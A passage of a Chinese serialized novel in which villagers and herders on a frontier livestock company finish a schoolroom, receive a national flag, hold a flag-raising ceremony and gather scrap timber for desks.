一块块土坯被传递上去,用加了麦草和了羊毛的泥浆垒砌起来。墙体一寸寸增高,教室的轮廓渐渐清晰。 窗户和门框是用从团部淘换来的旧木材,由连里会木工活的职工修整后安装上的。虽然旧,但很结实。 玻璃太稀罕了,只有窗户上半部分能装上几块小小的玻璃,下半部分还是用的旧木板,但已经让舒染和孩子们无比期待了。 屋顶最后铺上了些油毡,边缘用泥浆和石头压死,确保再大的风雨也灌不进来。 当最后一片油毡铺好,钱师傅从屋顶上下来,抹了一把汗,大声宣布:“齐活喽!” 霎时间,工地上想起欢声,大家笑着,互相拍打着肩膀,脸上洋溢着自豪和喜悦。 舒染站在那座新盖的教室前,仰头看着。 它依然简陋,土黄色的墙体粗糙质朴,窗户不大,门板旧得能看到木纹。但它挺直地立在戈壁滩上。 她眼眶有些发热,心里被成就感填满。这不是她一个人的功劳,这是连队和牧区所有人共同筑起来的。 对她来说,这是她在这里立足的象征。 王大姐用胳膊肘碰碰她,声音带着笑:“咋样,染妹子?这新教室盖得不错吧?” 舒染重重点头:“我觉得特别好!” 刘书记和马连长站在教室门口,也是满面红光。刘书记清了清嗓子,大声道:“同志们!乡亲们!今天,咱们畜牧连的启明小学,有了自己的新教室!这是咱们连队和牧区团结协作的成果!也是咱们重视教育、建设边疆的体现!我宣布,所有为盖教室出过大力的人,名字都记上光荣榜!年底评先进,优先考虑!” 人群再次欢呼起来。 舒染悄悄退后几步,目光越过欢呼的人群,看到远处坡地上,一个身影骑在马上,正看着这边。是陈远疆。他的左臂似乎已经好了,没有吊着了。 他感受到了她的目光,朝她的方向看了一眼。隔得很远,看不清表情,但舒染觉得,他好像颔首示意了一下。 随即他调转马头,身影消失在坡下,像是从未出现过。 舒染收回目光。新教室立起来了,但她的任务才刚刚开始。如何让这间教室真正成为孩子们学文化的地方,成为连接不同民族的桥梁,还有很长的路要走。 她转过身朝着那群还在兴奋地摸着新墙壁、透过玻璃朝里张望的孩子们走去。 “来来来,大家排好队!我们一起去看看我们的新教室!” 第54章 新教室门前, 孩子们是最迫不及待的,挤在门口,小脑袋探来探去, 都想第一个踏进这个新天地。 新教室的门敞开着,孩子们听到舒染的话, 早已按捺不住冲了进去,紧接着是大人们。 门口一时有些拥挤,笑声、惊叹声、互相招呼声混成一片。 舒染也走进了教室。 室内弥漫着新泥土和干草特有的清新气息, 并不难闻,反而让人感到踏实。 阳光从那几块小小的玻璃窗透进来,在坑洼不平的泥土地上投下光斑。墙壁是粗糙的土黄色,还能看到麦草的断茬, 但砌得平整扎实。屋顶高高的, 可以看到裸露的椽子。 教室里空荡荡的, 还没有桌椅, 没有黑板, 只有角落预留出的一个方正的用土坯垒砌好的墩子, 连接着一段同样用土坯砌成的通向墙外的矮墙,矮墙里面是中空的, 那是为即将到来的寒冬预留的火炉和火墙的位置。 孩子们兴奋地在空屋里跑来跑去,用手摸着土墙, 踮起脚透过玻璃看外面,或是围着那个墩子和矮墙打转, 猜测它们的用途。 孩子们用手摸着土墙, 踮起脚试图够到窗框,或是故意踩出咚咚的脚步声测试地面的坚实。 石头指着墙角一处手印痕迹,大声说:“看!这是我垒坯子时不小心按上去的!”引得几个小伙伴都围过去看。 图尔迪和叶尔波力打量着门窗的榫卯结构, 和钱师傅交流着,不时点头。 王大姐和妇女们则摸着墙壁,感慨着:“这墙砌得厚实,冬天肯定暖和!”“这火墙位置留得好,到时候烧起来,整个屋子都热乎!” 刘书记和马连长也背着手,在教室里踱步,脸上是止不住的满意笑容。 舒染站在教室中央,环视着这一切,心里也热乎乎的。 这里的一切,都凝聚着在场每一个人的心血。 等到最初的兴奋稍稍平息,大家都自然而然地看向她。刘书记笑着示意:“舒老师,来,跟大家说两句吧!在这新家里说!” 掌声热烈地响起,所有目光都汇聚到她身上。 舒染深吸一口气,走到讲台上面向大家。她看着那一张张洋溢着成就和喜悦的脸:有职工家属,有牧民兄弟,有学生,还有像王大姐、李秀兰、许君君这样一直支持她的姐妹。 “乡亲们,同志们,孩子们。”她的声音有些发颤,但很快稳住了。 “咱们现在,就站在咱们自己盖起来的教室里了。” “刚才,我看见石头找到了他垒墙时留下的小手印;我看见图尔迪大哥和钱师傅在研究门窗结不结实;我看见王大姐和嫂子们在检查墙面平不平整……” 她说着,目光一一掠过被提到的人,大家都跟着笑了起来,眼神里闪着光。 “我觉得,它是世界上最好的教室。它现在虽然还空荡荡的,没桌子没凳子,连块写字的黑板都还没有。” 她坦诚地说出眼前的不足,语气里没有遗憾,反而带着期待,“但是,大家看——”舒染伸手指向四周,“咱们有最结实的地基,最厚实的墙,有透亮的窗户!” 她的手指最后落在角落那预留的墩子和火墙上,“咱们还提前给孩子们留好了火炉子和火墙!这说明什么?” 她顿了顿,目光扫过众人,自问自答:“这说明最重要的、最难的部分,咱们已经靠自己的双手完成了!剩下的,桌椅板凳、黑板粉笔,咱们一样一样慢慢来,总能置办齐!” 她的话听得众人纷纷点头,觉得确实是这个道理。 舒染提高声音:“这间教室它虽然不会说话。但咱们每个人,都能在这里面,看到自己的影子,摸到自己的汗水。它记得是谁挖的地基,是谁打的土坯,是谁和的泥,是谁递的水,是谁做的饭,是谁垒的墙,是谁上的梁,它记得我们每一个人为它的付出。” 她细数着每一个贡献,目光所及,都让被看到的人心里暖洋洋的。 “所以它不是一间普通的教室。它是咱们畜牧连和牧区乡亲们,用一双手、一颗心,为我们自己的孩子垒起来的家。” 她看向孩子们,眼中充满期望:“以后,这里的一切都会陪着你们长大。冬天,咱们围着火炉读书;夏天,咱们开着门窗认字。希望你们能在这里,学到知识,也学到像建造这间教室一样的耐心、团结和汗水不会白流的道理。” 最后,她再次看向所有大人,深深鞠了一躬:“谢谢大家!这个教室是大家一起盖起来的。以后,也需要我们一起来守护它,守护我们未来的希望!” 现场静默了一瞬,随即爆发出更加热烈的掌声。许多人的眼眶都湿了,尤其是那些出了大力的妇女和牧民,觉得自己的辛苦被看见了,被珍视了。 “舒老师说得对!这就是咱自己的教室!” “以后娃娃们再也不怕风吹雨淋了!” “都是好样的!” 就在这时,一阵马蹄声由远及近。 众人朝着门窗外望去,只见陈远疆骑马而来,马鞍旁挂着一个用深绿色军布包裹的长条状物件。 他勒住马翻身下来,动作间左臂似乎已无大碍。他解下那个包裹,走到教室门前,他环视了一圈崭新的教室内部,走了进来。 现场顿时安静下来,大家都好奇地看着他,以及他手中那个沉甸甸的包裹。 “舒老师,”陈远疆开口:“启明小学新教室落成,是连队一件大事。师部委托我,送来一件礼物,以示祝贺,也希望孩子们能好好学习,将来更好地建设边疆、保卫边疆。” 礼物?师部送的?众人都竖起了耳朵,连刘书记和马连长都露出了些许好奇的神色。 陈远疆不再多言,当着众人的面,仔细地解开军布上的绳索,一层层打开。 里面露出的了一面叠得整整齐齐国旗,以及一根光滑笔直的带着金属尖头的旗杆。 众人低呼,这上面送的东西也有象征性了!这以后谁还敢拿舒染的成分做文章? 陈远疆将旗杆和国旗郑重地交给舒染:“按照规定,学校应升挂正式正规的国旗。请妥善保管,按时升降。” 舒染双手接过旗杆和国旗,感觉分量沉甸甸的。她抬起头,迎上陈远疆的目光,郑重承诺:“请组织放心!启明小学全体师生,一定爱护国旗,遵守礼仪,让国旗天天飘扬!” “好。”陈远疆点了点头,任务完成般,后退一步。 下一刻,不知是谁带头鼓起了掌,掌声再次响起。孩子们的眼睛亮晶晶地盯着那面红旗。 这份来自师部礼物,将新教室落成的意义提升到了一个新的高度。 舒染抱着国旗,心里充满了感动。她明白,这大概率是陈远疆以自己的方式申请的,甚至可能是他亲自准备的。 “升旗!升旗!”孩子们兴奋地喊了起来。 舒染笑了,大声应道:“好!等我们把旗杆立起来,明天一早,就在我们的新教室门前,举行升旗仪式!” 教室里,人们围着国旗议论着星期一的升旗仪式。 就在这时,一个清脆的声音从门口传来:“哟!这么热闹!看来我这紧赶慢赶,还是差点错过最精彩的呀!” 众人回头,只见许君君背着她的药箱,额上带着细汗,正笑吟吟地站在教室门口,好奇地打量着室内。 “许卫生员!”孩子们亲热地叫着。 “君君,你巡诊回来了?”舒染惊喜道。许君君前几天去偏远一点的牧业点做巡回医疗了。 “刚回来就听说咱们的大教室盖好了,还有大喜事,赶紧就跑来了!”许君君走进来,目光立刻被舒染怀里的国旗吸引,“呀!这是……国旗?真鲜艳!” “是陈干事刚送来的,师部给咱们新教室的礼物!”舒染的语气里带着自豪。 许君君眼睛一亮,看向陈远疆,语气带着几分调侃:“陈干事,您这可真是雪中送炭……不对,是锦上添花啊!咱们教室正缺这么一份镇宅之宝呢!”她话说得俏皮,冲淡了刚才略显正式的气氛。 陈远疆脸上没什么表情,只微微颔首:“应该的。” 许君君也不在意他的冷淡,转而兴致勃勃地参观起新教室来 她走到角落那个预留的火炉和火墙位置,弯腰看了看通风口预留的尺寸,点点头:“嗯,这通风留得不错,到时候生火不用担心烟呛着孩子们。” 她又用手摸了摸墙体的厚度,敲了敲,“墙砌得厚实,保温性好,冬天能省不少柴火。就是这地面……” 她跺了跺脚,扬起一点细尘:“还是土地,以后扫地容易起灰,对孩子们呼吸道不好。得想办法弄点石灰或者水泥浆给地面硬化一下,哪怕薄薄一层也好。” 钱师傅在一旁听了,点头称是:“许卫生员说得在理!这事我记下了,等忙过这阵就想办法。” 许君君又走到窗边,检查了一下窗框的密封性:“嗯,缝隙不大,冬天糊上窗户纸应该就不透风了。”她回头对舒染和王大姐笑道:“等天再冷点,我那儿还有不少旧报纸,咱们可以组织孩子们一起来糊窗户,既保暖又热闹!” 她的这些建议具体而实用,立刻引起了大家的讨论。 “君君姐想得真周到!” “是啊,地面是得弄一下,不然天天吃土。” “糊窗户这活儿孩子们准喜欢!” 舒染感激地看着许君君。 许君君检查完,走到舒染身边,压低声音,挤挤眼:“可以啊染染,这教室盖得真像样!陈干事这国旗送得更是时候,这下看谁还敢说闲话!”她说着,用胳膊肘轻轻碰了碰舒染,眼神里满是替好友高兴的揶揄。 舒染嗔了她一眼:“别瞎说!是师部送的。” 两人正低声说笑着,那边王大姐已经招呼起来:“好了好了,教室也看了,国旗也收到了!大伙儿别光站着啊!我那儿还熬着一大锅绿豆汤呢!都去喝一碗,解解乏,也庆祝庆祝!” 众人应和着,开始三三两两地往外走。 许君君挽起舒染的胳膊:“走,染染,喝绿豆汤去!”她又看了一眼站在门口正和刘书记低声交谈的陈远疆,对舒染悄声道:“哎,你看陈干事那胳膊,好像好利索了?我走之前还叮嘱他多休息呢,这人肯定没听!” 舒染也顺着她的目光看去,陈远疆似乎察觉,抬眼望过来。许君君大大方方地冲他挥手笑了笑,陈远疆略一点头,便又继续和刘书记说话。 “看样子是没事了。”舒染轻声说。 大家伙都吃饱喝足,灶台那边的人群渐渐散去。王大姐麻利地刷洗着大锅,李秀兰在一旁帮着收拾碗勺。舒染和许君君也留下来帮忙。 王大姐直起腰,用围裙擦着手,看着新教室,感慨道:“唉呀妈呀,以前可真不敢想,咱们这群女人,也能跟着抡锹和泥,垒出这么大一间房来!” 李秀兰小声接话,脸上带着点小自豪:“舒老师说的对,咱妇女也能顶半边天呢。”这话是她最近从舒染和许君君那儿听来的,觉得特别提气。 许君君正把洗好的碗摞起来,闻言笑道:“秀兰这话说得好!咱们就是能顶半边天!你看,没咱们和泥递水、烧火做饭、登记工分,光靠他们老爷们儿,这房子哪能这么快盖起来?” 王大姐哈哈一笑:“理是这么个理!就是以前吧,总觉得盖房修渠那是男人的大事,咱们也就是打个下手。这回跟着舒老师折腾这一遭,我觉得这腰杆子都挺直了不少!” 舒染把扫帚靠墙放好,走过来说:“大姐,秀兰,君君,咱们女人本来就不比男人差。男人有力气,咱们有耐性;男人能挖渠,咱们能算账;男人能打仗,咱们能救人。就像盖这教室,离了哪一边都不行。” 她顿了顿,“再说了,咱们自己手里有点本事,能挣工分,能解决问题,在哪儿说话不都硬气?也不用事事都指着男人们,看人脸色。” 这话可说到王大姐心坎里了。她是烈属,虽然受照顾,但也不想总被人可怜。“染妹子这话实在!自己能站得住比啥都强!就像你,有文化,能教娃娃,连里领导不也得高看你一眼?还有君君,这方圆几十里就你一个正经卫生员,谁家有个头疼脑热不都得求着你?” 许君君爽朗一笑:“可不是嘛!所以我妈当年非要我去学医!” 李秀兰听得入神,她以前只觉得舒老师和许卫生员特别厉害,跟自己不一样。现在慢慢觉得,好像自己也能变得厉害一点。“舒老师,许卫生员,我……我以后也能像你们这么厉害吗?” “怎么不能?”舒染揽住她的肩膀,“你豆腐磨得好,账也算得越来越清楚了,这就是本事!以后啊,咱们之间更得互相帮衬着。谁家有事,搭把手;谁受了委屈,一起想办法;有啥好机会,互相通个气。就像这回盖教室,咱们不就这么干成的?” 王大姐一拍大腿:“对!就得这样!以前各家顾各家的,有时候还真憋屈,以后咱们姐妹几个,有啥事多商量。染妹子你脑子活,君君你认识人多,秀兰你心细,我嘛,好歹在连里年头长,有点老面子!咱们拧成一股绳,看谁还敢小瞧咱们妇女!” 许君君补充道:“不光咱们几个。连里、牧区,还有好多姐妹呢。以后像扫盲、教点卫生常识、甚至组织个缝纫小组啥的,都能搞起来!让大家都有点事做,有点奔头,还能换点零花,多好!” 舒染点头:“君君这想法好。慢慢来,日子总会越来越好的。” “行了,忙活半天,赶紧都回去歇着吧!”王大姐端起洗净的大锅招呼道。 四人说说笑笑地各自散去。舒染看了一眼新教室,心里充满了对未来的期待。 新教室落成后的第一个周末,连队里没了上工的哨音,显得格外宁静。 舒染难得地睡了个小懒觉,醒来时地窝子里只剩她一个了。她坐起来伸了个懒腰,感觉浑身肌肉还有些酸疼。 她洗漱完简单吃了个早饭,信步走到新教室前。 她绕着教室走了一圈,用手摸了摸墙壁,干燥而坚实,心里冒出踏实的感觉。 远远看见陈远疆骑马出了连部,朝着戈壁深处去了,看样子是去巡逻。他的左臂活动似乎已无大碍。两人目光隔空相遇,他还是朝她颔首示意,之后便策马远去,舒染也收回了目光。 舒染学骑马的心思活络了起来。 她溜达到了马号附近。她瞧见经常往来连队和牧区的叶尔波力大叔正往马背上捆扎几个麻袋,看样子准备回牧区。 “叶尔波力大叔!”舒染小跑过去,脸上堆着笑,从口袋里掏出一包用香烟,“您这就回去啊?” 叶尔波力停下动作,接过烟揣进怀里,黝黑的脸上露出笑意:“舒老师啊,找我有事?” “想跟您学学骑马,”舒染指指他那匹看起来颇为沉稳的棕色马,“以后去牧区家访,总不能老是劳烦别人捎带或者靠两条腿走。” 叶尔波力打量了她一下:“骑马可不是坐车,颠得很,摔一下也疼得很。你不怕?” “怕才要学嘛,”舒染实话实说,“您教我点基本的,能让我骑着它走起来就行!” “行!”叶尔波力倒也爽快,“看你给娃娃们教书不容易。来,我先教你咋跟马打交道。” 他让舒染慢慢靠近,教她怎么伸手让马闻味道,怎么顺毛抚摸。“它舒服了,才乐意让你骑。”然后是怎么抓缰绳,脚怎么踩马镫。“对,就这样,别用脚尖,脚掌心踩实……好,上来!” 叶尔波力托了她一把,舒染手忙脚乱地爬上了马背。视野陡然升高,她心里一慌,下意识就抓紧了鞍桥,身体绷得僵直。 “放松!放松!”叶尔波力牵着缰绳,让马慢慢踱步,“腰随着它动,对,就这样……别看脚下,看前面!” 马背上的感觉比想象中更颠簸,舒染觉得自己像个不稳当的麻袋,随时可能被甩下去。但她坚持着不让自己看下面,回想叶尔波力的话,试着放松身体,去适应马的节奏。 叶尔波力牵着马在空地上绕了一圈又一圈。额头上冒了汗,慢慢地好像找到了一点感觉,不再那么害怕了。 “哟,舒老师,这是要当巾帼骑士啊?”许君君背着药箱路过,看见她这模样,笑着打趣。 舒染脸一红,想回嘴又怕分心摔下去,只好瞪了她一眼。叶尔波力也哈哈笑起来。 练了快一小时,舒染才勉强能在叶尔波力牵着的情况下,控制着马慢走一小段。 叶尔波力看看天色:“舒老师,差不多了,我得走了。下次来再教你让它小跑。能骑着走这么稳,第一次算很不错了!” 舒染这才依依不舍地下了马,脚沾地时腿一软,差点没坐地上。叶尔波利利索地翻身上马,挥了挥手,吆喝一声,便朝着牧区而去。 舒染看着他的背影,揉着发酸的大腿,心里想着:等下次,下次一定要学会让马跑起来! 舒染看着他的背影,心里琢磨着下次得带点什么谢礼。 第55章 下午, 连队静悄悄的,大多数人都在补觉或忙自己的私活。舒染和许君君却没闲着。 许君君一边收拾她的宝贝药箱,一边对舒染说:“染染, 我药箱里还有些治感冒拉肚子的药片和膏药,正好去牧区转转。上次看老阿肯那腿, 还得再巩固一下。你呢?真不去学骑马了?” 舒染正把几块水果糖和一小包压箱底的茶叶用旧报纸包好,闻言叹口气:“学骑马不是一下午能成的事,叶尔波力大叔也回去了。不过你说去牧区, 我倒真想去看看。教室盖好了,也得跟老阿肯说一声,顺便谢谢他们之前出的力。总不能用人朝前,不用人朝后。” “嘿, 你这话说的, 还挺实在。”许君君乐了, “那正好一起!走着去?” 舒染皱皱眉:“走过去太远了, 来回天都黑了。”她眼睛转了转, “我听说后勤下午有辆拖拉机要去西边拉沙棘刺, 好像路过牧区那边。我们去问问,看能不能捎个脚。” 两人跑到连部后面, 果然看见一辆旧拖拉机正准备出发。开拖拉机的是个老师傅,姓邓。 “邓师傅!邓师傅!捎我们一段行不行?我们去图尔迪家那片草场附近!”舒染扬起声音喊。 邓师傅停下机器, 轰隆声小了些:“舒老师?许卫生员?你们去那儿干啥?” “许卫生员去巡诊,我去家访!”舒染赶紧说, 顺手从包里抓了一把糖塞了过去, “麻烦您了邓师傅,让我们搭个便车,路上颠点不怕!” 邓师傅接过糖, 揣进兜里,脸上露出笑:“上来吧!车斗里脏,自己找地方坐稳了!我只能把你们放到岔路口,还得去拉刺棵子呢!” “哎!谢谢邓师傅!”舒染和许君君赶紧手忙脚乱地爬上了满是尘土的拖拉机斗。 “突突突……哐当哐当……”拖拉机冒着黑烟,颠簸着上路了。 舒染和许君君紧紧抓着车斗栏杆,感觉五脏六腑都快被颠出来了,风吹得头发乱飞,吃一嘴沙子。 “这……这也太颠了!”许君君捂着肚子喊。 “比走路强!”舒染大声回应,迎着风咧着嘴笑。 走了大概四十多分钟,邓师傅在一个三岔路口停了车:“就这儿了!顺着那条被车轧出来的土路往北走,看到一片草场,大概再走二三里地,就能看见图尔迪家的毡房了!我傍晚五六点钟往回返,大概还经过这儿,你们要回去就在这等!” 两人千恩万谢地跳下车,感觉脚下的大地还在晃。等拖拉机走远了,世界才重新安静下来。四周是望不到边的戈壁滩和起伏的草场,天高地阔。 她们沿着车辙印往前走。走了好一会儿,才看见远处坡地上几顶白色的毡房,炊烟袅袅。 图尔迪家的狗最先发现她们,汪汪地叫起来。阿依曼从毡房里跑出来,看清是她们,惊喜地叫起来:“老师!医生阿姨!”阿迪力也跟了出来,脚步比妹妹沉稳些,脸上也带着笑。 图尔迪的妻子闻声出来,撩起围裙擦着手,热情地招呼:“快进来坐!” 老阿肯正坐在毡房外的毡子上晒太阳,手里拿着个小刀在削木头,看到她们,点了点头,算是打过招呼了。 许君君放下药箱,“老阿肯,我再给您看看腿。最近下雨,没再疼吧?” 老阿肯咕哝了几句,阿迪力在一旁说道:“爷爷说,好多了,膏药管用。” 许君君仔细检查了一下,又留下几贴膏药:“还得注意保暖,别受凉。”接着她又给阿依曼听了听心肺,看了看图尔迪妻子有些裂口的手,给了点药膏。 舒染则把水果糖分给阿依曼和阿迪力,两个孩子眼睛都亮了。她把那包茶叶递给图尔迪的妻子:“嫂子,一点茶叶,别嫌弃。” “哎呀……”图尔迪的妻子连连推辞,她汉话说得不好,手在围裙上搓着。 “拿着吧,”舒染直接把茶叶塞到她手里,“上次盖教室,多亏了图尔迪大哥和牧区的兄弟们帮忙。这是我们的一点心意。” 舒染坐到老阿肯旁边,看着远处的草场:“阿肯,我们那新教室彻底盖好了。师部还特意奖励了我们一面崭新的国旗呢,又大又红,可漂亮了!” 老阿肯慢悠悠地削着木头,过了一会儿才说:“有地方好好念书,是娃娃们的福气。”他停下手中的活,看了看舒染,“你,说话算话,是个实在人。” 舒染和许君君在毡房里喝了碗奶茶,吃了点奶疙瘩,又聊了会儿家常,主要是听老阿肯说说今年的草场和羊群。 看着日头偏西,舒染和许君君起身告辞。图尔迪的妻子给她们装了一小袋奶疙瘩,让她们路上吃。 两人紧赶慢赶,终于在日落前回到了那个岔路口。等了一会儿,就听见“突突突”的声音,邓师傅的拖拉机满载着沙棘刺回来了。 “邓师傅!”舒染和许君君朝老邓挥挥手。 老邓把拖拉机开到舒染跟前停下,他走下车压了压车斗子里的沙棘刺,又在上面铺了块破毛毡,“你俩将就坐吧!这个点也没回连队的车了!” 回程的路上更颠,但两人心情都很好。风吹在脸上,也不觉得沙子呛人了。 “看来老阿肯是彻底认可你了。”许君君大声说。 “日久见人心呗。”舒染笑着回应,“慢慢来,总会越来越好的。” 拖拉机把她们扔在连部门口。两人跳下车,互相拍打着身上的尘土,看着对方灰头土脸的样子,都忍不住笑了起来。 周日是半天的劳动日。这次劳动的内容不再是繁重的生产任务,而是给布置新教室。 舒燃头天晚上就动员了家属和孩子们。 所以第二天歇晌的时辰刚过,热心的王大姐就在在家属区挨家挨户的吆喝:“各家各户听着啦!有闲置板凳桌椅的,往新教室搬喽!咱们给娃娃们把新教室填满!” 舒染还没到教室跟前,就听见那边已经闹哄哄的了。孩子们跑得最快,抱着各式各样的东西汇聚到新教室门口。有的搬来了家里用旧了但擦洗干净的小板凳、小马扎;有的扛来了用木板钉成的长条课桌;有的跑去工具棚里,合力把原先的几张课桌和讲桌搬了过来。 大人们则三三两两,抱着、扛着、抬着各式各样的家伙什从家里出来,汇聚到教室门口。 “让让!让让!我这板凳腿有点活络,别磕着娃娃!” “谁帮把手?这块板子沉得很!” “这炕桌给我小孙子用正合适!” 舒染一到,立刻就被围住了。 “舒老师,你看我家这个长条凳行不?就是漆掉光了……” “舒老师,这旧门板我让老李刨平了,支起来能当桌子用吧?” “舒老师……” 舒染脸上笑着,心里快速盘算着,大声回应:“都可以用!长条凳放后排,个子高的孩子坐,门板桌子稳稳当当的多好啊!炕桌放最前面,给年纪小的孩子!大家先搬进去,咱们再慢慢归置!” 石会计也搬着两块刷了黑漆的木板过来,后面跟着个小伙子扛着木架子。 舒染迎上去,“石会计,您这是?” 石会计推推眼镜,有点得意:“找后勤仓库淘换来的旧标语板,让机修组刷了黑漆,做了个支架,你看当黑板行不行?” 舒染过去用手摸了摸,表面不算特别光滑,但确实挺黑的。 “太好了!石会计您可解决了大问题!”舒染惊喜道,“这比我们原来那块门板黑板强多了!不愧是咱们班长的家长,真支持教育工作!” 石会计嘿嘿一笑:“应该的,应该的。” 王大姐指挥着几个妇女,像指挥交通一样:“高的靠墙!矮的往前放!歪了的拿木片垫垫!哎哟谁家筐落这儿了?挡路了!” 李秀兰拿着个本子,跟在张建军旁边,认真记录着:“张桂芬家,长条凳两条……”“赵铁锤家,炕桌一张……”张建军不时低声提醒她哪家名字写错了,或者东西记混了。 教室里很快就被填满了。桌椅板凳高矮不一,材质各异,有新的有旧的,甚至还有一张看起来像旧柜门改的桌面。它们挤在一起,显得有点杂乱,却充满了生活的气息和众人的心意。 孩子们迫不及待地钻进桌椅间,抢占着自己心仪的位置。 “我要坐这里!这里靠窗!” “这个桌子高,是我的!” “石头哥!这边这边!” 舒染看着这热闹的场面,这就是她想要的样子。 许君君也没闲着,她拿着抹布,把每块玻璃窗又擦了一遍,边擦边喊:“以后值日生可得记着擦窗户!不然看不见外面了!” 乱了一阵,大致模样总算出来了。前排是矮小的炕桌和马扎,适合阿依曼那样的小不点;中间是高度不一的各式桌凳;后排则是几条结实的长凳和较高的桌子。虽然看起来不那么整齐划一,但也能坐下二十多个孩子。 王大姐掐着腰,看着成果,满意地点头:“嗯,像那么回事了!就是这地上还是土,一扫净冒烟。” 舒染早就想到这点了。她之前就跟石灰窑的老师傅磨了好久,用帮他们记了几天账的代价,换来了小半袋石灰粉。 “大姐,别急,看这个。”舒染拎出小半袋石灰和黄泥,“等会儿散了,咱们兑水搅和了拌一拌,把这地面细细洒一层,压一压,能少起不少灰。” “哎哟,还是舒老师你有办法!”王大姐一拍大腿,“这玩意儿好!” 王大姐带着几个妇女,用旧扫把和抹布把教室里外又彻底清扫了一遍,窗玻璃擦得锃亮。 孩子们兴奋地在桌椅间穿梭,争抢着属于自己的位置。 下午,大部分人都休息了。舒染却惦记着那包从团部废料堆淘换来的结块的水泥和师部送来的国旗杆。 她正琢磨着该怎么处理,却看见陈远疆走了过来,手里还拿着铁锹、锤子和一个木桶,木桶里有半袋新水泥。 “陈干事?” “水泥呢?”陈远疆言简意赅。 舒染赶紧指了角落那半袋硬邦邦的水泥疙瘩。 陈远疆走过去,拎起来掂了掂,然后拿出锤子,哐哐几下将大块的水泥敲碎,又仔细地将里面的杂质拣出来。他把水泥碎块倒进木桶,加上适量的新水泥和水,然后用铁锹开始搅拌。 舒染见他动作熟练,一看就不是生手。 舒染想帮忙,却插不上手,只能在旁边看着。 水泥和好,陈远疆在教室正门前选好位置,用铁锹挖了一个浅坑,然后开始用砖石和水泥垒砌一个方正的、到小腿高度的平台。 他做得很认真,用一块旧木板刮平表面,又仔细调整着水平。 舒染跑去打来清水,等他需要时递上去。 两人没什么交流,只有水泥搅拌的声音、石块垒放的声音和偶尔简短的工具交接。 国旗台渐渐成型,方正稳固,表面平整。 陈远疆最后检查了一下,将带来的那根带着金属尖头的旗杆拿过来,把国旗装上去,将旗杆底部插入水泥台正中央预留的孔洞里,然后用剩余的水泥仔细地加固周围,确保它竖得笔直牢固。 做完这一切,他直起身,用剩下的水冲洗了铁锹和工具。 “等水泥干透就可以了。”他看着那旗台,语气平淡,“以后升旗就在这里,旧的那个我一会拆掉。” “谢谢您,陈干事。”舒染看着那灰扑扑的水泥旗台,感谢道。 陈远疆“嗯”了一声,收拾好工具,转身准备离开。 他走了两步又停下,回头看了一眼教室门口那片空地和新垒的旗台,“旗台位置选得不错。以后孩子们升旗,全连都能看见。” 说完,他便拿着工具大步离开了。 舒染独自站在新垒好的国旗台下,抬头望着那根旗杆。想象着明天的升旗仪式。 她仿佛已经听到了孩子们嘹亮的歌声。 新教室的落成和和师部送来国旗的消息,很快在畜牧连乃至周边牧区间传开。 星期一,天还没大亮,新教室门前那片空地上就挤满了人。 孩子们穿着整齐,少先队员们戴着红领巾,大家眼睛里闪烁着兴奋和期待。 大人们也都来了,想亲眼看看这新教室的第一次升旗仪式。 舒染穿着洗得发白的旧军装,头发梳得整整齐齐。她站在旗杆下,身后是排着队伍的孩子们。 石头和阿迪力作为学生代表,神情庄重地去升旗。 没有音乐,舒染起了个头:“起来!不愿做奴隶的人们——” 孩子们跟着唱起来,大人们也低声附和着。所有人的目光都追随着那面升起的五星红旗,它在戈壁的晨风中猎猎展开,鲜艳夺目。 当国旗升到顶端,舒染带领孩子们行少先队礼,大人们行注目礼。那一刻,一种肃穆而自豪的气氛影响着所有人。 升旗仪式结束后,人群却没有散去。许多之前还在观望的家长,纷纷拉着自己的孩子走到舒染面前。 “舒老师,你看俺家娃娃,也到岁数了,能来上学不?” “舒老师,我们家丫头可能干了,就是没赶上第一批,现在能来吗?” “舒老师,巴彦和赛达尔回去说了,我们也想把孩子送来认几个字……” 甚至还有几位年纪稍长的职工,搓着手,不好意思地问:“舒老师,俺们这些大老粗,白天得干活,晚上……晚上能来识几个字不?起码得会写自己名字,看懂工分本啊!” 舒染看着眼前一双双渴望又带着怯意的眼睛,心里高兴极了。她笑着大声说:“欢迎!都欢迎!启明小学就是为大家开的!适龄的孩子,明天都能来!想扫盲的同志,咱们再商量个礼拜六礼拜天上课的时间!” 这一天,来报名的孩子又多了十几个,年龄从六岁到十二三岁不等,加上原来的学生,教室里要是挤一挤,怕是能塞下近三十个孩子。还有七八个职工表达了想来扫盲的意愿。 学生暴增的喜悦还没过去,现实的难题就摆在了眼前——教室是有了,可里面的课桌板凳还是不够用。这么多孩子,总不能一直站着或者坐在地上上课吧。她暂时还是让孩子们坐在自己从家带来的小马扎或破垫子上。 下午放学后,舒染看着挤挤挨挨的教室,又开始盘算起来。 课桌椅是最大的难题。去买?连里没这项预算,她自己那点钱更是杯水车薪。去找连里要?马连长和赵卫东估计又要皱眉头。 她想了想,很快心里有了主意。 她先去找了钱师傅。“钱师傅,您看,这课桌椅,咱们自己能做吗?不用多好看,结实能用就行。” 钱师傅叼着烟袋锅,打量了一下教室:“做是能做。就是费工费料。木头去哪弄?好木头都紧着生产用呢。” “木头我想办法。”舒染说,“您就告诉我需要什么样的木头,大概多少,怎么做就行。” 她又去找了那几个会点木工活的职工,把想法说了。大家一听是为了孩子,都表示有空了一定来帮忙,但也都提到了木料的问题。 木料……舒染想到了团部后勤仓库的老姜头,还有那片堆放废旧物资的场地。 第二天,她又搭拖拉机去了团部。这次她没直接去找老姜头,而是先找到了张干事。 “张干事,又来麻烦您了。”舒染笑着说:“孩子们多了,没桌子板凳,我想看看仓库那边有没有……嗯……废弃的木材边角料,或者以前淘汰下来的破桌子破椅子,能修修补补用的?” 张干事哈哈一笑:“舒老师你啊,真是能把一分钱掰成两半花!行,我带你去找老姜头磨磨看!” 老姜头看到舒染又来淘破烂,脸拉得老长。但架不住张干事在旁边说情,又瞥见舒染手里还提着一个小网兜,里面装着一包奶疙瘩,脸色才稍微缓和了点。 老姜头嘟囔埋怨着,还是带着他们去了废料场最深处的角落。 那里果然堆着一些积满灰尘的废旧木材,有断裂的床板、散架的旧桌椅腿、包装箱拆下来的木板条,甚至还有几个破损严重的木箱,材质各异,大小不一,但确实都是木头。 “就这些了!爱要不要!”老姜头没好气地说。 “要!要!谢谢姜师傅!”舒染连连道谢,如获至宝。她和张干事一起,仔细地从那堆垃圾里挑选出还能用的木料,长的短的,宽的窄的,足足捆了一大捆。 回去的拖拉机上,舒染守着那捆木料,心里盘算着:这些差不多够做课桌椅了。 